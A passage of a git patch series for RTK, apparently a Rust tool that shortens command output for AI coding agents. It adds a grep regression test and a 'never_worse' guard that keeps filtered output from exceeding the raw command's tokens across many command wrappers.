bundled -rln files-with-matches cluster (#2543) Review feedback on #2550: the flag-shape tests all used standalone flags, leaving the exact #2543 repro -- a bundled -rln/-ln files-with-matches cluster -- unexercised. Assert rtk grep -rln lists matching files instead of a false '0 matches'. --- tests/grep_compress_test.rs | 33 +++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/tests/grep_compress_test.rs b/tests/grep_compress_test.rs index a0366bd63e..bd36df3e7d 100644 --- a/tests/grep_compress_test.rs +++ b/tests/grep_compress_test.rs @@ -317,3 +317,36 @@ fn small_grep_not_worse_than_plain() { "header that costs more than raw must be dropped:\n{stdout}" ); } + +// --- #2543: bundled files-with-matches cluster (-rln / -ln) lists files, not "0 matches" --- + +#[test] +fn bundled_files_with_matches_cluster_lists_files() { + if !rg_available() { + return; + } + let dir = tempfile::tempdir().expect("tempdir"); + std::fs::write(dir.path().join("a.txt"), "TODO alpha\n").expect("write"); + std::fs::write(dir.path().join("b.txt"), "TODO beta\n").expect("write"); + std::fs::write(dir.path().join("c.txt"), "nothing here\n").expect("write"); + let path = dir.path().to_str().unwrap(); + + let out = rtk() + .args(["grep", "-rln", "TODO", path]) + .output() + .expect("rtk grep"); + let stdout = String::from_utf8_lossy(&out.stdout); + + assert!( + !stdout.contains("0 matches"), + "-rln must list files, not report a false '0 matches' (#2543):\n{stdout}" + ); + assert!( + stdout.contains("a.txt") && stdout.contains("b.txt"), + "-rln must list every matching file:\n{stdout}" + ); + assert!( + !stdout.contains("c.txt"), + "-rln must not list non-matching files:\n{stdout}" + ); +} From 861a46dee57f50216862ac83b0ee57974f383203 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Tue, 23 Jun 2026 21:53:35 +0200 Subject: [PATCH 236/257] fix(core): never-worse output guard so RTK never exceeds the raw command RTK could emit more tokens than the underlying command on small inputs: filters that add headers, summaries, re-indentation, or a tee hint, plus synthetic no-result messages ("0 matches", "No stashes", "[docker] 0 containers") printed where the raw command emitted nothing. Both break the Transparency principle and inflate tokens instead of saving them. - core::guard::never_worse(raw, filtered) returns raw when the filtered form has more tokens (reuses tracking::estimate_tokens), so RTK output is never larger than the real command. - runner::emit_guarded(filtered, hint, raw) composes body + tee hint, guards the whole, prints, and returns what was shown so printed == tracked. - run_captured_filter guards the run_filtered* family centrally; per-site guards cover the remaining single-string filters. - On empty raw, emit empty and preserve the exit code instead of a synthetic no-result message (the messages were cosmetic with no dependents; #2461 reports the grep one as actively harmful). - git stash show now propagates its exit code instead of masking a real failure as Ok(0). Resolves #2551. --- CONTRIBUTING.md | 2 + src/cmds/cloud/aws_cmd.rs | 19 ++-- src/cmds/cloud/container.rs | 29 +++--- src/cmds/cloud/curl_cmd.rs | 8 +- src/cmds/cloud/wget_cmd.rs | 21 +++-- src/cmds/dotnet/dotnet_cmd.rs | 11 ++- src/cmds/git/diff_cmd.rs | 11 ++- src/cmds/git/git.rs | 84 ++++++++++-------- src/cmds/git/gt_cmd.rs | 9 +- src/cmds/go/go_cmd.rs | 6 +- src/cmds/js/lint_cmd.rs | 9 +- src/cmds/js/playwright_cmd.rs | 9 +- src/cmds/js/pnpm_cmd.rs | 23 +++-- src/cmds/js/prisma_cmd.rs | 16 ++-- src/cmds/js/vitest_cmd.rs | 8 +- src/cmds/python/pip_cmd.rs | 5 +- src/cmds/system/deps.rs | 6 +- src/cmds/system/env_cmd.rs | 38 ++++---- src/cmds/system/find_cmd.rs | 40 ++++----- src/cmds/system/format_cmd.rs | 6 +- src/cmds/system/grep_cmd.rs | 9 +- src/cmds/system/json_cmd.rs | 11 ++- src/cmds/system/log_cmd.rs | 11 ++- src/cmds/system/read.rs | 11 ++- src/cmds/system/summary.rs | 6 +- src/core/guard.rs | 56 ++++++++++++ src/core/mod.rs | 1 + src/core/runner.rs | 51 +++++++---- src/main.rs | 8 +- tests/guard_integration_test.rs | 151 ++++++++++++++++++++++++++++++++ 30 files changed, 470 insertions(+), 205 deletions(-) create mode 100644 src/core/guard.rs create mode 100644 tests/guard_integration_test.rs diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index dec1a0527e..b10b9e710b 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -46,6 +46,8 @@ The LLM doesn't know RTK is involved for which commands, hooks rewrite commands Don't invent new output formats. Don't add RTK-specific headers or markers in the default output. The filtered output should be indistinguishable from "a shorter version of the real command." +Enforce it with `guard::never_worse(raw, filtered)` — print and track the value it returns (use `runner::emit_guarded(filtered, hint, raw)` when appending a tee hint). It guarantees RTK never emits more tokens than the raw command, down to emitting nothing when the command produced nothing. + ### Never Block If a filter fails, fall back to raw output. RTK should never prevent a command from executing or producing output. Better to pass through unfiltered than to error out. Same for hooks: exit 0 on all error paths so the agent's command runs unmodified. diff --git a/src/cmds/cloud/aws_cmd.rs b/src/cmds/cloud/aws_cmd.rs index 833d2fe7b9..0f8287af00 100644 --- a/src/cmds/cloud/aws_cmd.rs +++ b/src/cmds/cloud/aws_cmd.rs @@ -3,6 +3,7 @@ //! Replaces verbose `--output table`/`text` with JSON, then compresses. //! Specialized filters for high-frequency commands (STS, S3, EC2, ECS, RDS, CloudFormation). +use crate::core::guard::never_worse; use crate::core::tee::force_tee_hint; use crate::core::tracking; use crate::core::truncate::{CAP_INVENTORY, CAP_LIST}; @@ -258,6 +259,7 @@ fn run_generic(subcommand: &str, args: &[String], verbose: u8, full_sub: &str) - let filtered = match json_cmd::filter_json_compact(&raw, JSON_COMPRESS_DEPTH) { Ok(compact) => { + let compact = never_worse(&raw, &compact).to_string(); println!("{}", compact); compact } @@ -361,19 +363,14 @@ fn run_aws_filtered( FilterResult::new(stdout.clone()) }); - if result.truncated { - if let Some(hint) = crate::core::tee::force_tee_hint(&raw, &slug) { - println!("{}\n{}", result.text, hint); - } else { - println!("{}", result.text); - } - } else if let Some(hint) = crate::core::tee::tee_and_hint(&raw, &slug, 0) { - println!("{}\n{}", result.text, hint); + let hint = if result.truncated { + crate::core::tee::force_tee_hint(&raw, &slug) } else { - println!("{}", result.text); - } + crate::core::tee::tee_and_hint(&raw, &slug, 0) + }; + let shown = crate::core::runner::emit_guarded(&result.text, hint.as_deref(), &raw); - timer.track(&cmd_label, &rtk_label, &raw, &result.text); + timer.track(&cmd_label, &rtk_label, &raw, &shown); Ok(0) } diff --git a/src/cmds/cloud/container.rs b/src/cmds/cloud/container.rs index 7b26683108..10f2ce1c8d 100644 --- a/src/cmds/cloud/container.rs +++ b/src/cmds/cloud/container.rs @@ -1,5 +1,6 @@ //! Filters Docker and kubectl output into compact summaries. +use crate::core::guard::never_worse; use crate::core::runner::{self, RunOptions}; use crate::core::stream::exec_capture; use crate::core::tracking; @@ -78,9 +79,7 @@ fn docker_ps(_verbose: u8) -> Result { let mut rtk = String::new(); if stdout.trim().is_empty() { - rtk.push_str("[docker] 0 containers"); - println!("{}", rtk); - timer.track("docker ps", "rtk docker ps", &raw, &rtk); + timer.track("docker ps", "rtk docker ps", &raw, ""); return Ok(0); } @@ -103,8 +102,9 @@ fn docker_ps(_verbose: u8) -> Result { } } - print!("{}", rtk); - timer.track("docker ps", "rtk docker ps", &raw, &rtk); + let shown = never_worse(&raw, &rtk); + print!("{}", shown); + timer.track("docker ps", "rtk docker ps", &raw, shown); Ok(0) } @@ -180,8 +180,9 @@ fn docker_ps_all(_verbose: u8) -> Result { } } - print!("{}", rtk); - timer.track("docker ps -a", "rtk docker ps -a", &raw, &rtk); + let shown = never_worse(&raw, &rtk); + print!("{}", shown); + timer.track("docker ps -a", "rtk docker ps -a", &raw, shown); Ok(0) } @@ -239,9 +240,7 @@ fn docker_images(_verbose: u8) -> Result { let mut rtk = String::new(); if lines.is_empty() { - rtk.push_str("[docker] 0 images"); - println!("{}", rtk); - timer.track("docker images", "rtk docker images", &raw, &rtk); + timer.track("docker images", "rtk docker images", &raw, ""); return Ok(0); } @@ -299,8 +298,9 @@ fn docker_images(_verbose: u8) -> Result { } } - print!("{}", rtk); - timer.track("docker images", "rtk docker images", &raw, &rtk); + let shown = never_worse(&raw, &rtk); + print!("{}", shown); + timer.track("docker images", "rtk docker images", &raw, shown); Ok(0) } @@ -692,10 +692,11 @@ pub fn run_compose_ps(all: bool, verbose: u8) -> Result { } let rtk = format_compose_ps(&structured); - println!("{}", rtk); + let shown = never_worse(&raw, &rtk); + println!("{}", shown); let label = if all { "docker compose ps -a" } else { "docker compose ps" }; let rtk_label = if all { "rtk docker compose ps -a" } else { "rtk docker compose ps" }; - timer.track(label, rtk_label, &raw, &rtk); + timer.track(label, rtk_label, &raw, shown); Ok(0) } diff --git a/src/cmds/cloud/curl_cmd.rs b/src/cmds/cloud/curl_cmd.rs index 7073c2e421..85f242f483 100644 --- a/src/cmds/cloud/curl_cmd.rs +++ b/src/cmds/cloud/curl_cmd.rs @@ -76,16 +76,14 @@ pub fn run(args: &[String], verbose: u8) -> Result { let is_tty = std::io::stdout().is_terminal(); let filtered = filter_curl_output(&raw, is_tty); - println!("{}", filtered.content); - if let Some(hint) = &filtered.tee_hint { - println!("{}", hint); - } + let shown = + crate::core::runner::emit_guarded(&filtered.content, filtered.tee_hint.as_deref(), &raw); timer.track( &format!("curl {}", args.join(" ")), &format!("rtk curl {}", args.join(" ")), &raw, - &filtered.content, + &shown, ); Ok(exit_code) diff --git a/src/cmds/cloud/wget_cmd.rs b/src/cmds/cloud/wget_cmd.rs index 09e52f24be..1f46262525 100644 --- a/src/cmds/cloud/wget_cmd.rs +++ b/src/cmds/cloud/wget_cmd.rs @@ -1,3 +1,4 @@ +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::utils::resolved_command; @@ -35,13 +36,15 @@ pub fn run(url: &str, args: &[String], verbose: u8) -> Result { filename, format_size(size) ); - println!("{}", msg); - timer.track(&format!("wget {}", url), "rtk wget", &raw_output, &msg); + let shown = never_worse(&raw_output, &msg); + println!("{}", shown); + timer.track(&format!("wget {}", url), "rtk wget", &raw_output, shown); } else { let error = parse_error(&result.stderr, &result.stdout); let msg = format!("{} FAILED: {}", compact_url(url), error); - println!("{}", msg); - timer.track(&format!("wget {}", url), "rtk wget", &raw_output, &msg); + let shown = never_worse(&raw_output, &msg); + println!("{}", shown); + timer.track(&format!("wget {}", url), "rtk wget", &raw_output, shown); return Ok(result.exit_code); } @@ -89,18 +92,20 @@ pub fn run_stdout(url: &str, args: &[String], verbose: u8) -> Result { rtk_output.push_str(&format!("{}\n", line)); } } - print!("{}", rtk_output); + let shown = never_worse(&result.stdout, &rtk_output); + print!("{}", shown); timer.track( &format!("wget -O - {}", url), "rtk wget -o", &result.stdout, - &rtk_output, + shown, ); } else { let error = parse_error(&result.stderr, ""); let msg = format!("{} FAILED: {}", compact_url(url), error); - println!("{}", msg); - timer.track(&format!("wget -O - {}", url), "rtk wget -o", &result.stderr, &msg); + let shown = never_worse(&result.stderr, &msg); + println!("{}", shown); + timer.track(&format!("wget -O - {}", url), "rtk wget -o", &result.stderr, shown); return Ok(result.exit_code); } diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index 232f957af6..6ba78eea17 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -1,6 +1,7 @@ //! Filters dotnet CLI output — build, test, and format results. use crate::binlog; +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::truncate::{CAP_ERRORS, CAP_LIST, CAP_WARNINGS}; @@ -54,13 +55,14 @@ pub fn run_format(args: &[String], verbose: u8) -> Result { let check_mode = !has_write_mode_override(args); let filtered = format_report_summary_or_raw(report_path.as_deref(), check_mode, &raw, command_started_at); - println!("{}", filtered); + let shown = never_worse(&raw, &filtered); + println!("{}", shown); timer.track( &format!("dotnet format {}", args.join(" ")), &format!("rtk dotnet format {}", args.join(" ")), &raw, - &filtered, + shown, ); if cleanup_report_path { @@ -226,13 +228,14 @@ fn run_dotnet_with_binlog(subcommand: &str, args: &[String], verbose: u8) -> Res &filtered, ); - println!("{}", output_to_print); + let shown = never_worse(&raw, &output_to_print); + println!("{}", shown); timer.track( &format!("dotnet {} {}", subcommand, args.join(" ")), &format!("rtk dotnet {} {}", subcommand, args.join(" ")), &raw, - &output_to_print, + shown, ); cleanup_temp_file(&binlog_path); diff --git a/src/cmds/git/diff_cmd.rs b/src/cmds/git/diff_cmd.rs index 4f7ae1609e..f40c857f41 100644 --- a/src/cmds/git/diff_cmd.rs +++ b/src/cmds/git/diff_cmd.rs @@ -1,5 +1,6 @@ //! Compares two files and shows only the changed lines. +use crate::core::guard::never_worse; use crate::core::tracking; use anyhow::Result; use std::fs; @@ -20,12 +21,13 @@ pub fn run(file1: &Path, file2: &Path, verbose: u8) -> Result { let (rtk, exit_code) = render_file_diff(file1, file2, &content1, &content2); - print!("{}", rtk); + let shown = never_worse(&raw, &rtk); + print!("{}", shown); timer.track( &format!("diff {} {}", file1.display(), file2.display()), "rtk diff", &raw, - &rtk, + shown, ); Ok(exit_code) } @@ -61,9 +63,10 @@ pub fn run_stdin(_verbose: u8) -> Result<()> { // Parse unified diff format let condensed = condense_unified_diff(&input); - println!("{}", condensed); + let shown = never_worse(&input, &condensed); + println!("{}", shown); - timer.track("diff (stdin)", "rtk diff (stdin)", &input, &condensed); + timer.track("diff (stdin)", "rtk diff (stdin)", &input, shown); Ok(()) } diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 29fd3b73ae..5efad3c518 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -1,6 +1,7 @@ //! Filters git output — log, status, diff, and more — keeping just the essential info. use crate::core::args_utils; +use crate::core::guard::never_worse; use crate::core::stream::{ self, exec_capture, CaptureResult, FilterMode, LineHandler, LineStreamFilter, StdinMode, }; @@ -179,9 +180,6 @@ fn run_diff( eprintln!("Git diff summary:"); } - // Print stat summary first - println!("{}", result.stdout.trim()); - // Now get actual diff but compact it let mut diff_cmd = git_cmd(global_args); diff_cmd.arg("diff"); @@ -191,20 +189,22 @@ fn run_diff( let diff_result = exec_capture(&mut diff_cmd).context("Failed to run git diff")?; - let mut final_output = result.stdout.clone(); - if !diff_result.stdout.is_empty() { - println!("\nChanges:"); + let printed = if !diff_result.stdout.is_empty() { let compacted = compact_diff(&diff_result.stdout, max_lines.unwrap_or(500)); - println!("{}", compacted); - final_output.push_str("\nChanges:\n"); - final_output.push_str(&compacted); - } + format!("{}\n\nChanges:\n{}", result.stdout.trim(), compacted) + } else { + result.stdout.trim().to_string() + }; + + let raw = format!("{}\n{}", result.stdout, diff_result.stdout); + let shown = never_worse(&raw, &printed); + println!("{}", shown); timer.track( &format!("git diff {}", args.join(" ")), &format!("rtk git diff {}", args.join(" ")), - &format!("{}\n{}", result.stdout, diff_result.stdout), - &final_output, + &raw, + shown, ); Ok(0) @@ -279,7 +279,7 @@ fn run_show( eprintln!("{}", summary_result.stderr); return Ok(summary_result.exit_code); } - println!("{}", summary_result.stdout.trim()); + let mut printed = summary_result.stdout.trim().to_string(); // Step 2: --stat summary let mut stat_cmd = git_cmd(global_args); @@ -290,7 +290,8 @@ fn run_show( let stat_result = exec_capture(&mut stat_cmd).context("Failed to run git show --stat")?; let stat_text = stat_result.stdout.trim(); if !stat_text.is_empty() { - println!("{}", stat_text); + printed.push('\n'); + printed.push_str(stat_text); } // Step 3: compacted diff @@ -302,21 +303,23 @@ fn run_show( let diff_result = exec_capture(&mut diff_cmd).context("Failed to run git show (diff)")?; let diff_text = diff_result.stdout.trim(); - let mut final_output = summary_result.stdout.clone(); if !diff_text.is_empty() { if verbose > 0 { - println!("\nChanges:"); + printed.push_str("\n\nChanges:"); } let compacted = compact_diff(diff_text, max_lines.unwrap_or(500)); - println!("{}", compacted); - final_output.push_str(&format!("\n{}", compacted)); + printed.push('\n'); + printed.push_str(&compacted); } + let shown = never_worse(&raw_output, &printed); + println!("{}", shown); + timer.track( &format!("git show {}", args.join(" ")), &format!("rtk git show {}", args.join(" ")), &raw_output, - &final_output, + shown, ); Ok(0) @@ -489,6 +492,7 @@ fn run_log( // Post-process: truncate long messages, cap lines only if RTK set the default let filtered = filter_log_output(&result.stdout, limit, user_set_limit, has_format_flag); + let filtered = never_worse(&result.stdout, &filtered).to_string(); println!("{}", filtered); timer.track( @@ -840,6 +844,7 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result Result Result formatted, }; - println!("{}", final_output); + let shown = never_worse(&raw_output, &final_output); + println!("{}", shown); let original_cmd = if args.is_empty() { "git status".to_string() @@ -905,7 +912,7 @@ fn run_status(args: &[String], verbose: u8, global_args: &[String]) -> Result Result Result< let result = exec_capture(&mut cmd).context("Failed to run git worktree list")?; let filtered = filter_worktree_list(&result.stdout); + let filtered = never_worse(&result.stdout, &filtered).to_string(); println!("{}", filtered); timer.track( "git worktree list", diff --git a/src/cmds/git/gt_cmd.rs b/src/cmds/git/gt_cmd.rs index 1fb3ee711a..266fd63f81 100644 --- a/src/cmds/git/gt_cmd.rs +++ b/src/cmds/git/gt_cmd.rs @@ -59,11 +59,8 @@ fn run_gt_filtered( filter_fn(&clean) }; - if let Some(hint) = crate::core::tee::tee_and_hint(&raw, tee_label, cmd_output.exit_code) { - println!("{}\n{}", output, hint); - } else { - println!("{}", output); - } + let hint = crate::core::tee::tee_and_hint(&raw, tee_label, cmd_output.exit_code); + let shown = crate::core::runner::emit_guarded(&output, hint.as_deref(), &raw); if !cmd_output.stderr.trim().is_empty() { eprintln!("{}", cmd_output.stderr.trim()); @@ -75,7 +72,7 @@ fn run_gt_filtered( format!("gt {} {}", subcmd_str, args.join(" ")) }; let rtk_label = format!("rtk {}", label); - timer.track(&label, &rtk_label, &raw, &output); + timer.track(&label, &rtk_label, &raw, &shown); Ok(cmd_output.exit_code) } diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index fcc59df6bf..d35399bbcc 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -1,5 +1,6 @@ //! Filters Go command output — test results, build errors, vet warnings. +use crate::core::guard::never_worse; use crate::core::runner; use crate::core::tracking; use crate::core::truncate::CAP_ERRORS; @@ -280,7 +281,8 @@ fn run_go_tool_golangci_lint(args: &[OsString], verbose: u8) -> Result { }; let filtered = golangci_cmd::filter_golangci_json(json_output, version); - println!("{}", filtered); + let shown = never_worse(&raw, &filtered); + println!("{}", shown); if !stderr.trim().is_empty() && verbose > 0 { eprintln!("{}", stderr.trim()); @@ -290,7 +292,7 @@ fn run_go_tool_golangci_lint(args: &[OsString], verbose: u8) -> Result { "go tool golangci-lint", "rtk go tool golangci-lint", &raw, - &filtered, + shown, ); let exit_code = exit_code_from_output(&output, "go tool golangci-lint"); diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index afc3e79626..fc9c1f057c 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -199,17 +199,14 @@ pub fn run(args: &[String], verbose: u8) -> Result { _ => filter_generic_lint(&raw), }; - if let Some(hint) = crate::core::tee::tee_and_hint(&raw, "lint", result.exit_code) { - println!("{}\n{}", filtered, hint); - } else { - println!("{}", filtered); - } + let hint = crate::core::tee::tee_and_hint(&raw, "lint", result.exit_code); + let shown = crate::core::runner::emit_guarded(&filtered, hint.as_deref(), &raw); timer.track( &format!("{} {}", linter, args.join(" ")), &format!("rtk lint {} {}", linter, args.join(" ")), &raw, - &filtered, + &shown, ); if !result.success() { diff --git a/src/cmds/js/playwright_cmd.rs b/src/cmds/js/playwright_cmd.rs index bfa41ac278..aa930ec6f9 100644 --- a/src/cmds/js/playwright_cmd.rs +++ b/src/cmds/js/playwright_cmd.rs @@ -314,17 +314,14 @@ pub fn run(args: &[String], verbose: u8) -> Result { } }; - if let Some(hint) = crate::core::tee::tee_and_hint(&raw, "playwright", result.exit_code) { - println!("{}\n{}", filtered, hint); - } else { - println!("{}", filtered); - } + let hint = crate::core::tee::tee_and_hint(&raw, "playwright", result.exit_code); + let shown = crate::core::runner::emit_guarded(&filtered, hint.as_deref(), &raw); timer.track( &format!("playwright {}", args.join(" ")), &format!("rtk playwright {}", args.join(" ")), &raw, - &filtered, + &shown, ); // Preserve exit code for CI/CD diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index 6dd53f08c3..4b60775d82 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -1,5 +1,6 @@ //! Filters pnpm output — dependency trees, install logs, outdated packages. +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::truncate::CAP_LIST; @@ -405,13 +406,14 @@ fn run_list(depth: usize, args: &[String], verbose: u8) -> Result { } }; - println!("{}", filtered); + let shown = never_worse(&result.stdout, &filtered); + println!("{}", shown); timer.track( &format!("pnpm list --depth={}", depth), &format!("rtk pnpm list --depth={}", depth), &result.stdout, - &filtered, + shown, ); Ok(0) @@ -455,13 +457,15 @@ fn run_outdated(args: &[String], verbose: u8) -> Result { } }; - if filtered.trim().is_empty() { - println!("All packages up-to-date"); + let display = if filtered.trim().is_empty() { + "All packages up-to-date".to_string() } else { - println!("{}", filtered); - } + filtered.clone() + }; + let shown = never_worse(&combined, &display); + println!("{}", shown); - timer.track("pnpm outdated", "rtk pnpm outdated", &combined, &filtered); + timer.track("pnpm outdated", "rtk pnpm outdated", &combined, shown); Ok(0) } @@ -490,9 +494,10 @@ fn run_install(args: &[String], verbose: u8) -> Result { let combined = result.combined(); let filtered = filter_pnpm_install(&combined); - println!("{}", filtered); + let shown = never_worse(&combined, &filtered); + println!("{}", shown); - timer.track("pnpm install", "rtk pnpm install", &combined, &filtered); + timer.track("pnpm install", "rtk pnpm install", &combined, shown); Ok(0) } diff --git a/src/cmds/js/prisma_cmd.rs b/src/cmds/js/prisma_cmd.rs index 2f72313827..3deef1c6f9 100644 --- a/src/cmds/js/prisma_cmd.rs +++ b/src/cmds/js/prisma_cmd.rs @@ -1,5 +1,6 @@ //! Filters Prisma CLI output by stripping ASCII art and verbose decoration. +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::utils::{resolved_command, tool_exists}; @@ -70,8 +71,9 @@ fn run_generate(args: &[String], verbose: u8) -> Result { } let filtered = filter_prisma_generate(&raw); - println!("{}", filtered); - timer.track("prisma generate", "rtk prisma generate", &raw, &filtered); + let shown = never_worse(&raw, &filtered); + println!("{}", shown); + timer.track("prisma generate", "rtk prisma generate", &raw, shown); Ok(0) } @@ -129,8 +131,9 @@ fn run_migrate(subcommand: MigrateSubcommand, args: &[String], verbose: u8) -> R MigrateSubcommand::Deploy => filter_migrate_deploy(&raw), }; - println!("{}", filtered); - timer.track(cmd_name, &format!("rtk {}", cmd_name), &raw, &filtered); + let shown = never_worse(&raw, &filtered); + println!("{}", shown); + timer.track(cmd_name, &format!("rtk {}", cmd_name), &raw, shown); Ok(0) } @@ -165,8 +168,9 @@ fn run_db_push(args: &[String], verbose: u8) -> Result { } let filtered = filter_db_push(&raw); - println!("{}", filtered); - timer.track("prisma db push", "rtk prisma db push", &raw, &filtered); + let shown = never_worse(&raw, &filtered); + println!("{}", shown); + timer.track("prisma db push", "rtk prisma db push", &raw, shown); Ok(0) } diff --git a/src/cmds/js/vitest_cmd.rs b/src/cmds/js/vitest_cmd.rs index 43b41c59b9..2f6cdbb40c 100644 --- a/src/cmds/js/vitest_cmd.rs +++ b/src/cmds/js/vitest_cmd.rs @@ -256,16 +256,14 @@ pub fn run_test(command: &Commands, args: &[String], verbose: u8) -> Result ); let tee_label = format!("{}_run", framework); - println!( - "{}", - render_test_output(&filtered, &combined, &tee_label, result.exit_code) - ); + let rendered = render_test_output(&filtered, &combined, &tee_label, result.exit_code); + let shown = crate::core::runner::emit_guarded(&rendered, None, &combined); timer.track( format!("{} run", framework).as_str(), format!("rtk {} run", framework).as_str(), &combined, - &filtered.text, + &shown, ); if !result.success() { diff --git a/src/cmds/python/pip_cmd.rs b/src/cmds/python/pip_cmd.rs index 9a4d002713..09737712b8 100644 --- a/src/cmds/python/pip_cmd.rs +++ b/src/cmds/python/pip_cmd.rs @@ -1,5 +1,6 @@ //! Filters pip and uv package manager output. +use crate::core::guard::never_worse; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::truncate::{CAP_INVENTORY, CAP_LIST}; @@ -78,7 +79,7 @@ fn run_list(base_cmd: &str, args: &[String], verbose: u8) -> Result<(String, Str let raw = format!("{}\n{}", result.stdout, result.stderr); - let filtered = filter_pip_list(&result.stdout); + let filtered = never_worse(&raw, &filter_pip_list(&result.stdout)).to_string(); println!("{}", filtered); Ok((raw, filtered, result.exit_code)) @@ -106,7 +107,7 @@ fn run_outdated(base_cmd: &str, args: &[String], verbose: u8) -> Result<(String, let raw = format!("{}\n{}", result.stdout, result.stderr); - let filtered = filter_pip_outdated(&result.stdout); + let filtered = never_worse(&raw, &filter_pip_outdated(&result.stdout)).to_string(); println!("{}", filtered); Ok((raw, filtered, result.exit_code)) diff --git a/src/cmds/system/deps.rs b/src/cmds/system/deps.rs index 3cba21139f..055d8cb76f 100644 --- a/src/cmds/system/deps.rs +++ b/src/cmds/system/deps.rs @@ -1,5 +1,6 @@ //! Summarizes project dependencies from lock files and manifests. +use crate::core::guard::never_worse; use crate::core::tracking; use crate::core::truncate::{reduced, CAP_WARNINGS}; use anyhow::Result; @@ -73,8 +74,9 @@ pub fn run(path: &Path, verbose: u8) -> Result<()> { rtk.push_str(&format!("No dependency files found in {}", dir.display())); } - print!("{}", rtk); - timer.track("cat */deps", "rtk deps", &raw, &rtk); + let shown = never_worse(&raw, &rtk); + print!("{}", shown); + timer.track("cat */deps", "rtk deps", &raw, shown); Ok(()) } diff --git a/src/cmds/system/env_cmd.rs b/src/cmds/system/env_cmd.rs index f131b2634f..fae7658f1c 100644 --- a/src/cmds/system/env_cmd.rs +++ b/src/cmds/system/env_cmd.rs @@ -1,5 +1,6 @@ //! Filters environment variables, hiding secrets and noise. +use crate::core::guard::never_worse; use crate::core::tracking; use crate::core::truncate::{CAP_LIST, CAP_WARNINGS}; use anyhow::Result; @@ -64,56 +65,56 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { } } - // Print categorized + let mut body = String::new(); if !path_vars.is_empty() { - println!("PATH Variables:"); + let _ = writeln!(body, "PATH Variables:"); for (k, v) in &path_vars { if k == "PATH" { // Split PATH for readability let paths: Vec<&str> = v.split(':').collect(); - println!(" PATH ({} entries):", paths.len()); + let _ = writeln!(body, " PATH ({} entries):", paths.len()); const MAX_PATH_ENTRIES: usize = CAP_WARNINGS; for p in paths.iter().take(MAX_PATH_ENTRIES) { - println!(" {}", p); + let _ = writeln!(body, " {}", p); } if paths.len() > MAX_PATH_ENTRIES { - println!(" ... +{} more", paths.len() - MAX_PATH_ENTRIES); + let _ = writeln!(body, " ... +{} more", paths.len() - MAX_PATH_ENTRIES); } } else { - println!(" {}={}", k, v); + let _ = writeln!(body, " {}={}", k, v); } } } if !lang_vars.is_empty() { - println!("\nLanguage/Runtime:"); + let _ = writeln!(body, "\nLanguage/Runtime:"); for (k, v) in &lang_vars { - println!(" {}={}", k, v); + let _ = writeln!(body, " {}={}", k, v); } } if !cloud_vars.is_empty() { - println!("\nCloud/Services:"); + let _ = writeln!(body, "\nCloud/Services:"); for (k, v) in &cloud_vars { - println!(" {}={}", k, v); + let _ = writeln!(body, " {}={}", k, v); } } if !tool_vars.is_empty() { - println!("\nTools:"); + let _ = writeln!(body, "\nTools:"); for (k, v) in &tool_vars { - println!(" {}={}", k, v); + let _ = writeln!(body, " {}={}", k, v); } } if !other_vars.is_empty() { const MAX_OTHER_VARS: usize = CAP_LIST; - println!("\nOther:"); + let _ = writeln!(body, "\nOther:"); for (k, v) in other_vars.iter().take(MAX_OTHER_VARS) { - println!(" {}={}", k, v); + let _ = writeln!(body, " {}={}", k, v); } if other_vars.len() > MAX_OTHER_VARS { - println!(" ... +{} more", other_vars.len() - MAX_OTHER_VARS); + let _ = writeln!(body, " ... +{} more", other_vars.len() - MAX_OTHER_VARS); } } @@ -124,15 +125,16 @@ pub fn run(filter: Option<&str>, show_all: bool, verbose: u8) -> Result<()> { + tool_vars.len() + other_vars.len().min(20); if filter.is_none() { - println!("\nTotal: {} vars (showing {} relevant)", total, shown); + let _ = writeln!(body, "\nTotal: {} vars (showing {} relevant)", total, shown); } let raw: String = vars.iter().fold(String::new(), |mut output, (k, v)| { let _ = writeln!(output, "{}={}", k, v); output }); - let rtk = format!("{} vars -> {} shown", total, shown); - timer.track("env", "rtk env", &raw, &rtk); + let shown_body = never_worse(&raw, &body); + print!("{}", shown_body); + timer.track("env", "rtk env", &raw, shown_body); Ok(()) } diff --git a/src/cmds/system/find_cmd.rs b/src/cmds/system/find_cmd.rs index 490619e2fd..0e8d2eebb9 100644 --- a/src/cmds/system/find_cmd.rs +++ b/src/cmds/system/find_cmd.rs @@ -1,5 +1,6 @@ //! Filters find results by grouping files by directory. +use crate::core::guard::never_worse; use crate::core::tracking; use anyhow::{Context, Result}; use ignore::WalkBuilder; @@ -278,13 +279,11 @@ pub fn run( let raw_output = files.join("\n"); if files.is_empty() { - let msg = format!("0 for '{}'", effective_pattern); - println!("{}", msg); timer.track( &format!("find {} -name '{}'", path, effective_pattern), "rtk find", &raw_output, - &msg, + "", ); return Ok(()); } @@ -311,13 +310,14 @@ pub fn run( let dirs_count = dirs.len(); let total_files = files.len(); - println!("{}F {}D:", total_files, dirs_count); - println!(); + let mut body = String::new(); + body.push_str(&format!("{}F {}D:\n", total_files, dirs_count)); + 